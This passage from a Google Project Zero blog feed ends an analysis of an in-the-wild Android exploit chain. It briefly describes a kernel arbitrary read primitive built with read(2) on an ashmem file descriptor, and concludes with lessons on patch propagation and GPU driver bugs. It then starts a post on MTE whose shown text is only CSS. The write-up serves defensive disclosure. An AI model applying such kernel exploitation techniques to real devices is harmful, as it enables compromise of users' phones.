white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-1;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-1;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The arbitrary read primitive is nearly identical to the arbitrary write primitive code, but instead of using </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">write(2)</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, they use </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">read(2)</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> from the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_fd</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> instead to read data from the kernel into userland.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Conclusion</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">This exploit chain provides a real-world example of what we believe modern in-the-wild Android exploitation looks like. An early contextual theme from the initial stages of this exploit chain (not described in detail in this post) is the reliance on n-days to bypass the hardest security boundaries.</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> Reliance on patch backporting by downstream vendors leads to a fragile ecosystem where a single missed bugfix can lead to high-impact vulnerabilities on end-user devices. The retention of these vulnerabilities in downstream codebases counteracts the efforts that the security research and broader development community invest in discovering bugs and developing patches for widely used software. It would greatly improve the security of those end-users if vendors strongly considered efficient methods that result in faster and more reliable patch-propagation to downstream devices.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">It is also particularly noteworthy that this attacker created an exploit chain using multiple bugs from kernel GPU drivers. These third-party Android drivers have varying degrees of code quality and regularity of maintenance, and this represents a notable opportunity for attackers. We also see the risk that the Linux kernel 32-bit compatibility layer presents, particularly when it requires the same patch to be re-implemented in multiple places. This requirement makes patching even more complex and error-prone, so vendors and kernel code-writers must continue to remain vigilant to ensure that the 32-bit compatibility layer presents as few security issues as possible in the future.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Update October 6th 2023: This post was edited to reflect the fact that CVE-2022-4262 was a Chrome 0-day at the time this chain was discovered, not an n-day as previously stated.</span></p><div><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /></span></div></span>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-13494639884989303412023-08-02T09:30:00.005-07:002023-08-22T03:43:40.397-07:00MTE As Implemented, Part 1: Implementation Testing<style type="text/css">@import url(https://themes.googleusercontent.com/fonts/css?kit=cGvuclDC_Z1vE_cnVEU6AbvdjsQquauI-GoInd1DzsRjfxSl7duaBsON8MRB32eGNP6BCxV-AQSEvP01Vpd9xT0e5qzIIUg9OvSRGeMDk3I);.lst-kix_exl34y7adtul-6>li{counter-increment:lst-ctn-kix_exl34y7adtul-6}.lst-kix_s8b3u49h11dr-4>li:before{content:"- "}.lst-kix_s8b3u49h11dr-6>li:before{content:"- "}.lst-kix_w66ctsc8735u-5>li{counter-increment:lst-ctn-kix_w66ctsc8735u-5}.lst-kix_s8b3u49h11dr-3>li:before{content:"- "}.lst-kix_s8b3u49h11dr-7>li:before{content:"- "}.lst-kix_7336pfhg38rf-8>li{counter-increment:lst-ctn-kix_7336pfhg38rf-8}ol.lst-kix_w66ctsc8735u-1.start{counter-reset:lst-ctn-kix_w66ctsc8735u-1 0}.lst-kix_s8b3u49h11dr-5>li:before{content:"- "}ol.lst-kix_pmivlm2h8rwq-6.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-6 0}.lst-kix_cm1sbgja1sfy-8>li:before{content:"- "}.lst-kix_21mujycf9tm5-2>li{counter-increment:lst-ctn-kix_21mujycf9tm5-2}.lst-kix_s8b3u49h11dr-8>li:before{content:"- "}ol.lst-kix_21mujycf9tm5-4.start{counter-reset:lst-ctn-kix_21mujycf9tm5-4 0}.lst-kix_cm1sbgja1sfy-1>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-3>li:before{content:"- "}ol.lst-kix_7336pfhg38rf-7.start{counter-reset:lst-ctn-kix_7336pfhg38rf-7 0}.lst-kix_cm1sbgja1sfy-0>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-4>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-5>li:before{content:"- "}.lst-kix_cm1sbgja1sfy-7>li:before{content:"- "}.lst-kix_pmivlm2h8rwq-6>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-6}.lst-kix_cm1sbgja1sfy-6>li:before{content:"- "}.lst-kix_21mujycf9tm5-4>li{counter-increment:lst-ctn-kix_21mujycf9tm5-4}ol.lst-kix_pmivlm2h8rwq-0.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-0 0}ol.lst-kix_exl34y7adtul-4.start{counter-reset:lst-ctn-kix_exl34y7adtul-4 0}ol.lst-kix_7336pfhg38rf-1.start{counter-reset:lst-ctn-kix_7336pfhg38rf-1 0}.lst-kix_exl34y7adtul-4>li{counter-increment:lst-ctn-kix_exl34y7adtul-4}.lst-kix_w66ctsc8735u-7>li{counter-increment:lst-ctn-kix_w66ctsc8735u-7}.lst-kix_7336pfhg38rf-6>li{counter-increment:lst-ctn-kix_7336pfhg38rf-6}.lst-kix_cm1sbgja1sfy-2>li:before{content:"- "}ol.lst-kix_7336pfhg38rf-6.start{counter-reset:lst-ctn-kix_7336pfhg38rf-6 0}ol.lst-kix_w66ctsc8735u-6.start{counter-reset:lst-ctn-kix_w66ctsc8735u-6 0}ol.lst-kix_w66ctsc8735u-0.start{counter-reset:lst-ctn-kix_w66ctsc8735u-0 23}ol.lst-kix_exl34y7adtul-5.start{counter-reset:lst-ctn-kix_exl34y7adtul-5 0}ol.lst-kix_7336pfhg38rf-0.start{counter-reset:lst-ctn-kix_7336pfhg38rf-0 0}ol.lst-kix_exl34y7adtul-0.start{counter-reset:lst-ctn-kix_exl34y7adtul-0 0}.lst-kix_7336pfhg38rf-4>li{counter-increment:lst-ctn-kix_7336pfhg38rf-4}ol.lst-kix_pmivlm2h8rwq-1{list-style-type:none}.lst-kix_pmivlm2h8rwq-4>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-4}ol.lst-kix_pmivlm2h8rwq-0{list-style-type:none}.lst-kix_exl34y7adtul-2>li{counter-increment:lst-ctn-kix_exl34y7adtul-2}.lst-kix_exl34y7adtul-8>li{counter-increment:lst-ctn-kix_exl34y7adtul-8}ol.lst-kix_pmivlm2h8rwq-5.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-5 0}ol.lst-kix_pmivlm2h8rwq-8{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-7{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-6{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-5{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-4{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-3{list-style-type:none}ol.lst-kix_pmivlm2h8rwq-2{list-style-type:none}ol.lst-kix_21mujycf9tm5-5.start{counter-reset:lst-ctn-kix_21mujycf9tm5-5 0}ol.lst-kix_w66ctsc8735u-7.start{counter-reset:lst-ctn-kix_w66ctsc8735u-7 0}.lst-kix_7336pfhg38rf-7>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-7,lower-latin) ". "}.lst-kix_exl34y7adtul-0>li{counter-increment:lst-ctn-kix_exl34y7adtul-0}.lst-kix_7336pfhg38rf-1>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-1,lower-latin) ". "}ol.lst-kix_7336pfhg38rf-8.start{counter-reset:lst-ctn-kix_7336pfhg38rf-8 0}ol.lst-kix_exl34y7adtul-3.start{counter-reset:lst-ctn-kix_exl34y7adtul-3 0}.lst-kix_pmivlm2h8rwq-1>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-1,lower-latin) ". "}ol.lst-kix_w66ctsc8735u-8.start{counter-reset:lst-ctn-kix_w66ctsc8735u-8 0}ol.lst-kix_21mujycf9tm5-2{list-style-type:none}ol.lst-kix_exl34y7adtul-1{list-style-type:none}ol.lst-kix_21mujycf9tm5-1{list-style-type:none}ol.lst-kix_exl34y7adtul-2{list-style-type:none}ol.lst-kix_21mujycf9tm5-0{list-style-type:none}ol.lst-kix_exl34y7adtul-0{list-style-type:none}ol.lst-kix_exl34y7adtul-5{list-style-type:none}ol.lst-kix_exl34y7adtul-6{list-style-type:none}ol.lst-kix_exl34y7adtul-3{list-style-type:none}ol.lst-kix_exl34y7adtul-4{list-style-type:none}ol.lst-kix_21mujycf9tm5-8{list-style-type:none}ol.lst-kix_21mujycf9tm5-7{list-style-type:none}ol.lst-kix_21mujycf9tm5-6{list-style-type:none}ol.lst-kix_21mujycf9tm5-5{list-style-type:none}ol.lst-kix_21mujycf9tm5-4{list-style-type:none}ol.lst-kix_21mujycf9tm5-3{list-style-type:none}.lst-kix_w66ctsc8735u-1>li{counter-increment:lst-ctn-kix_w66ctsc8735u-1}.lst-kix_7336pfhg38rf-0>li{counter-increment:lst-ctn-kix_7336pfhg38rf-0}.lst-kix_pmivlm2h8rwq-0>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-0}.lst-kix_exl34y7adtul-1>li{counter-increment:lst-ctn-kix_exl34y7adtul-1}.lst-kix_21mujycf9tm5-7>li{counter-increment:lst-ctn-kix_21mujycf9tm5-7}ol.lst-kix_exl34y7adtul-7{list-style-type:none}ol.lst-kix_exl34y7adtul-1.start{counter-reset:lst-ctn-kix_exl34y7adtul-1 0}ol.lst-kix_exl34y7adtul-8{list-style-type:none}.lst-kix_7336pfhg38rf-5>li{counter-increment:lst-ctn-kix_7336pfhg38rf-5}.lst-kix_exl34y7adtul-1>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-1,lower-latin) ". "}ol.lst-kix_pmivlm2h8rwq-7.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-7 0}.lst-kix_exl34y7adtul-3>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-3,decimal) ". "}.lst-kix_exl34y7adtul-5>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-5,lower-roman) ". "}.lst-kix_exl34y7adtul-7>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-7,lower-latin) ". "}.lst-kix_21mujycf9tm5-6>li{counter-increment:lst-ctn-kix_21mujycf9tm5-6}.lst-kix_21mujycf9tm5-3>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-3,decimal) ". "}.lst-kix_21mujycf9tm5-5>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-5,lower-roman) ". "}ol.lst-kix_pmivlm2h8rwq-8.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-8 0}.lst-kix_w66ctsc8735u-6>li{counter-increment:lst-ctn-kix_w66ctsc8735u-6}.lst-kix_21mujycf9tm5-0>li{counter-increment:lst-ctn-kix_21mujycf9tm5-0}.lst-kix_w66ctsc8735u-0>li{counter-increment:lst-ctn-kix_w66ctsc8735u-0}.lst-kix_21mujycf9tm5-1>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-1,lower-latin) ". "}.lst-kix_21mujycf9tm5-7>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-7,lower-latin) ". "}.lst-kix_7336pfhg38rf-3>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-3,decimal) ". "}ol.lst-kix_21mujycf9tm5-8.start{counter-reset:lst-ctn-kix_21mujycf9tm5-8 0}.lst-kix_7336pfhg38rf-5>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-5,lower-roman) ". "}.lst-kix_s8b3u49h11dr-1>li:before{content:"- "}.lst-kix_pmivlm2h8rwq-5>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-5}ul.lst-kix_s8b3u49h11dr-8{list-style-type:none}ul.lst-kix_s8b3u49h11dr-7{list-style-type:none}ul.lst-kix_s8b3u49h11dr-4{list-style-type:none}ul.lst-kix_s8b3u49h11dr-3{list-style-type:none}ul.lst-kix_s8b3u49h11dr-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-4.start{counter-reset:lst-ctn-kix_7336pfhg38rf-4 0}ul.lst-kix_s8b3u49h11dr-5{list-style-type:none}ul.lst-kix_s8b3u49h11dr-0{list-style-type:none}ul.lst-kix_s8b3u49h11dr-2{list-style-type:none}ul.lst-kix_s8b3u49h11dr-1{list-style-type:none}ol.lst-kix_exl34y7adtul-2.start{counter-reset:lst-ctn-kix_exl34y7adtul-2 0}.lst-kix_w66ctsc8735u-8>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-8,lower-roman) ". "}ol.lst-kix_21mujycf9tm5-7.start{counter-reset:lst-ctn-kix_21mujycf9tm5-7 0}.lst-kix_w66ctsc8735u-1>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-1,lower-latin) ". "}.lst-kix_w66ctsc8735u-2>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-2,lower-roman) ". "}.lst-kix_w66ctsc8735u-0>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-0,upper-latin) ". "}.lst-kix_w66ctsc8735u-4>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-4,lower-latin) ". "}.lst-kix_w66ctsc8735u-5>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-5,lower-roman) ". "}.lst-kix_w66ctsc8735u-6>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-6,decimal) ". "}.lst-kix_w66ctsc8735u-7>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-7,lower-latin) ". "}ol.lst-kix_exl34y7adtul-7.start{counter-reset:lst-ctn-kix_exl34y7adtul-7 0}ol.lst-kix_pmivlm2h8rwq-3.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-3 0}.lst-kix_t1xsxvgqx8s0-6>li:before{content:"- "}.lst-kix_pmivlm2h8rwq-3>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-3}.lst-kix_t1xsxvgqx8s0-5>li:before{content:"- "}.lst-kix_t1xsxvgqx8s0-7>li:before{content:"- "}.lst-kix_w66ctsc8735u-4>li{counter-increment:lst-ctn-kix_w66ctsc8735u-4}.lst-kix_21mujycf9tm5-1>li{counter-increment:lst-ctn-kix_21mujycf9tm5-1}.lst-kix_exl34y7adtul-7>li{counter-increment:lst-ctn-kix_exl34y7adtul-7}.lst-kix_t1xsxvgqx8s0-8>li:before{content:"- "}.lst-kix_w66ctsc8735u-3>li:before{content:"" counter(lst-ctn-kix_w66ctsc8735u-3,decimal) ". "}.lst-kix_t1xsxvgqx8s0-3>li:before{content:"- "}.lst-kix_w66ctsc8735u-8>li{counter-increment:lst-ctn-kix_w66ctsc8735u-8}.lst-kix_t1xsxvgqx8s0-4>li:before{content:"- "}ol.lst-kix_21mujycf9tm5-6.start{counter-reset:lst-ctn-kix_21mujycf9tm5-6 0}ol.lst-kix_pmivlm2h8rwq-4.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-4 0}.lst-kix_t1xsxvgqx8s0-2>li:before{content:"- "}.lst-kix_21mujycf9tm5-5>li{counter-increment:lst-ctn-kix_21mujycf9tm5-5}.lst-kix_t1xsxvgqx8s0-1>li:before{content:"- "}.lst-kix_w66ctsc8735u-2>li{counter-increment:lst-ctn-kix_w66ctsc8735u-2}.lst-kix_t1xsxvgqx8s0-0>li:before{content:"- "}.lst-kix_pmivlm2h8rwq-6>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-6,decimal) ". "}.lst-kix_pmivlm2h8rwq-7>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-7,lower-latin) ". "}ol.lst-kix_w66ctsc8735u-7{list-style-type:none}ol.lst-kix_w66ctsc8735u-8{list-style-type:none}ol.lst-kix_w66ctsc8735u-5{list-style-type:none}ol.lst-kix_w66ctsc8735u-6{list-style-type:none}ol.lst-kix_w66ctsc8735u-3{list-style-type:none}ol.lst-kix_w66ctsc8735u-4{list-style-type:none}ol.lst-kix_w66ctsc8735u-1{list-style-type:none}.lst-kix_exl34y7adtul-5>li{counter-increment:lst-ctn-kix_exl34y7adtul-5}.lst-kix_pmivlm2h8rwq-3>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-3,decimal) ". "}ol.lst-kix_w66ctsc8735u-2{list-style-type:none}.lst-kix_pmivlm2h8rwq-1>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-1}ol.lst-kix_w66ctsc8735u-0{list-style-type:none}.lst-kix_7336pfhg38rf-7>li{counter-increment:lst-ctn-kix_7336pfhg38rf-7}.lst-kix_pmivlm2h8rwq-4>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-4,lower-latin) ". "}.lst-kix_pmivlm2h8rwq-5>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-5,lower-roman) ". "}.lst-kix_pmivlm2h8rwq-7>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-7}.lst-kix_pmivlm2h8rwq-8>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-8,lower-roman) ". "}ol.lst-kix_pmivlm2h8rwq-2.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-2 0}.lst-kix_7336pfhg38rf-8>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-8,lower-roman) ". "}ol.lst-kix_exl34y7adtul-6.start{counter-reset:lst-ctn-kix_exl34y7adtul-6 0}ul.lst-kix_t1xsxvgqx8s0-2{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-3{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-0{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-1{list-style-type:none}.lst-kix_7336pfhg38rf-2>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-2,lower-roman) ". "}.lst-kix_7336pfhg38rf-2>li{counter-increment:lst-ctn-kix_7336pfhg38rf-2}.lst-kix_7336pfhg38rf-0>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-0,decimal) ". "}.lst-kix_21mujycf9tm5-8>li{counter-increment:lst-ctn-kix_21mujycf9tm5-8}ol.lst-kix_w66ctsc8735u-5.start{counter-reset:lst-ctn-kix_w66ctsc8735u-5 0}.lst-kix_pmivlm2h8rwq-2>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-2,lower-roman) ". "}.lst-kix_7336pfhg38rf-1>li{counter-increment:lst-ctn-kix_7336pfhg38rf-1}.lst-kix_pmivlm2h8rwq-0>li:before{content:"" counter(lst-ctn-kix_pmivlm2h8rwq-0,decimal) ". "}ol.lst-kix_21mujycf9tm5-3.start{counter-reset:lst-ctn-kix_21mujycf9tm5-3 0}ol.lst-kix_w66ctsc8735u-2.start{counter-reset:lst-ctn-kix_w66ctsc8735u-2 0}ol.lst-kix_7336pfhg38rf-5.start{counter-reset:lst-ctn-kix_7336pfhg38rf-5 0}ol.lst-kix_21mujycf9tm5-0.start{counter-reset:lst-ctn-kix_21mujycf9tm5-0 0}ul.lst-kix_t1xsxvgqx8s0-8{list-style-type:none}ol.lst-kix_7336pfhg38rf-0{list-style-type:none}ol.lst-kix_7336pfhg38rf-1{list-style-type:none}.lst-kix_7336pfhg38rf-3>li{counter-increment:lst-ctn-kix_7336pfhg38rf-3}ul.lst-kix_t1xsxvgqx8s0-6{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-7{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-4{list-style-type:none}ul.lst-kix_t1xsxvgqx8s0-5{list-style-type:none}ol.lst-kix_7336pfhg38rf-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-7{list-style-type:none}ol.lst-kix_7336pfhg38rf-8{list-style-type:none}ol.lst-kix_7336pfhg38rf-2{list-style-type:none}ol.lst-kix_7336pfhg38rf-3{list-style-type:none}ol.lst-kix_7336pfhg38rf-4{list-style-type:none}ol.lst-kix_7336pfhg38rf-5{list-style-type:none}ol.lst-kix_w66ctsc8735u-3.start{counter-reset:lst-ctn-kix_w66ctsc8735u-3 0}.lst-kix_exl34y7adtul-0>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-0,decimal) ". "}.lst-kix_exl34y7adtul-3>li{counter-increment:lst-ctn-kix_exl34y7adtul-3}.lst-kix_pmivlm2h8rwq-8>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-8}.lst-kix_exl34y7adtul-2>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-2,lower-roman) ". "}.lst-kix_exl34y7adtul-4>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-4,lower-latin) ". "}ol.lst-kix_21mujycf9tm5-2.start{counter-reset:lst-ctn-kix_21mujycf9tm5-2 0}ul.lst-kix_cm1sbgja1sfy-1{list-style-type:none}ul.lst-kix_cm1sbgja1sfy-0{list-style-type:none}ul.lst-kix_cm1sbgja1sfy-3{list-style-type:none}.lst-kix_exl34y7adtul-6>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-6,decimal) ". "}.lst-kix_exl34y7adtul-8>li:before{content:"" counter(lst-ctn-kix_exl34y7adtul-8,lower-roman) ". "}ul.lst-kix_cm1sbgja1sfy-2{list-style-type:none}ol.lst-kix_exl34y7adtul-8.start{counter-reset:lst-ctn-kix_exl34y7adtul-8 0}ol.lst-kix_7336pfhg38rf-2.start{counter-reset:lst-ctn-kix_7336pfhg38rf-2 0}.lst-kix_pmivlm2h8rwq-2>li{counter-increment:lst-ctn-kix_pmivlm2h8rwq-2}ol.lst-kix_pmivlm2h8rwq-1.start{counter-reset:lst-ctn-kix_pmivlm2h8rwq-1 0}.lst-kix_21mujycf9tm5-4>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-4,lower-latin) ". "}.lst-kix_21mujycf9tm5-3>li{counter-increment:lst-ctn-kix_21mujycf9tm5-3}.lst-kix_21mujycf9tm5-2>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-2,lower-roman) ". "}.lst-kix_21mujycf9tm5-6>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-6,decimal) ". "}.lst-kix_21mujycf9tm5-0>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-0,decimal) ". "}.lst-kix_21mujycf9tm5-8>li:before{content:"" counter(lst-ctn-kix_21mujycf9tm5-8,lower-roman) ". "}ul.lst-kix_cm1sbgja1sfy-8{list-style-type:none}ol.lst-kix_21mujycf9tm5-1.start{counter-reset:lst-ctn-kix_21mujycf9tm5-1 